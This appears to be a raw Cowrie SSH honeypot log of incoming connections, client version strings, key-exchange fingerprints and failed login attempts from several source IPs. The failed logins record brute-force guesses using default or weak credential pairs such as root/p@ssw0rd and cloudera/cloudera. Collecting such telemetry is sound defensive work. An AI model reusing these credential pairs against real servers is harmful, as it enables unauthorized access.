{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:43.848027Z","src_ip":"91.92.40.36","session":"d646690849a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":44932,"dst_ip":"10.17.0.5","dst_port":22,"session":"82bc9a941e89","protocol":"ssh","message":"New connection: 163.7.9.84:44932 (10.17.0.5:22) [session: 82bc9a941e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:45.057309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:45.064461Z","src_ip":"163.7.9.84","session":"82bc9a941e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:45.315580Z","src_ip":"163.7.9.84","session":"82bc9a941e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.6","message":"Connection lost after 23.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:46.239966Z","src_ip":"91.92.40.36","session":"811a52a03849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:46.350164Z","src_ip":"163.7.9.84","session":"82bc9a941e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55742,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f04b50f0175","protocol":"ssh","message":"New connection: 91.92.40.36:55742 (10.17.0.5:22) [session: 2f04b50f0175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:47.062505Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:47.603135Z","src_ip":"163.7.9.84","session":"82bc9a941e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55778,"dst_ip":"10.17.0.5","dst_port":22,"session":"e99cb6c43f15","protocol":"ssh","message":"New connection: 91.92.40.36:55778 (10.17.0.5:22) [session: e99cb6c43f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:51.195793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:51.497764Z","src_ip":"91.92.40.36","session":"2f04b50f0175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:51.501350Z","src_ip":"91.92.40.36","session":"2f04b50f0175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dm","password":"dm","message":"login attempt [dm/dm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:53.683313Z","src_ip":"91.92.40.36","session":"45bf49cbce77","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:54.624269Z","src_ip":"91.92.40.36","session":"e99cb6c43f15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:54.627783Z","src_ip":"91.92.40.36","session":"e99cb6c43f15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55818,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fcbf6d646c7","protocol":"ssh","message":"New connection: 91.92.40.36:55818 (10.17.0.5:22) [session: 1fcbf6d646c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:55.272479Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":41150,"dst_ip":"159.203.135.109","dst_port":22,"session":"36aab364c1a1","protocol":"ssh","message":"New connection: 14.63.196.175:41150 (159.203.135.109:22) [session: 36aab364c1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:59.380410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:59.386022Z","src_ip":"14.63.196.175","session":"36aab364c1a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:59.584923Z","src_ip":"14.63.196.175","session":"36aab364c1a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloudera","password":"cloudera","message":"login attempt [cloudera/cloudera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:59.654538Z","src_ip":"91.92.40.36","session":"f2e8b16dbb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"12345678","message":"login attempt [web/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:00.421470Z","src_ip":"14.63.196.175","session":"36aab364c1a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.5","message":"Connection lost after 32.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:01.408913Z","src_ip":"91.92.40.36","session":"45bf49cbce77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:01.627692Z","src_ip":"14.63.196.175","session":"36aab364c1a1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:01.663623Z","src_ip":"91.92.40.36","session":"1fcbf6d646c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:01.667619Z","src_ip":"91.92.40.36","session":"1fcbf6d646c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:01.983513Z","src_ip":"91.92.40.36","session":"d646690849a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":58236,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b051252ccfd","protocol":"ssh","message":"New connection: 102.210.148.92:58236 (159.203.135.109:22) [session: 5b051252ccfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:05.267118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:05.271297Z","src_ip":"102.210.148.92","session":"5b051252ccfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:05.513224Z","src_ip":"102.210.148.92","session":"5b051252ccfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yaroslav","password":"yaroslav","message":"login attempt [yaroslav/yaroslav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:06.537594Z","src_ip":"102.210.148.92","session":"5b051252ccfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17098,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e69552f7216","protocol":"ssh","message":"New connection: 91.92.40.36:17098 (10.17.0.5:22) [session: 6e69552f7216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:07.057892Z"}
{"eventid":"cowrie.session.closed","duration":"33.9","message":"Connection lost after 33.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:07.585788Z","src_ip":"91.92.40.36","session":"f2e8b16dbb28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:07.781987Z","src_ip":"102.210.148.92","session":"5b051252ccfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.0","message":"Connection lost after 30.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:08.984993Z","src_ip":"91.92.40.36","session":"d646690849a6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:12.547369Z","src_ip":"91.92.40.36","session":"6e69552f7216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:12.563384Z","src_ip":"91.92.40.36","session":"6e69552f7216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":52980,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0120c5b3288","protocol":"ssh","message":"New connection: 181.188.176.242:52980 (10.17.0.5:22) [session: d0120c5b3288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:14.079984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:14.092937Z","src_ip":"181.188.176.242","session":"d0120c5b3288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:14.261513Z","src_ip":"181.188.176.242","session":"d0120c5b3288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17138,"dst_ip":"10.17.0.5","dst_port":22,"session":"07acc7e77c72","protocol":"ssh","message":"New connection: 91.92.40.36:17138 (10.17.0.5:22) [session: 07acc7e77c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:14.347167Z"}
{"eventid":"cowrie.login.failed","username":"opendkim","password":"opendkim","message":"login attempt [opendkim/opendkim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:14.967524Z","src_ip":"181.188.176.242","session":"d0120c5b3288","protocol":"ssh"}
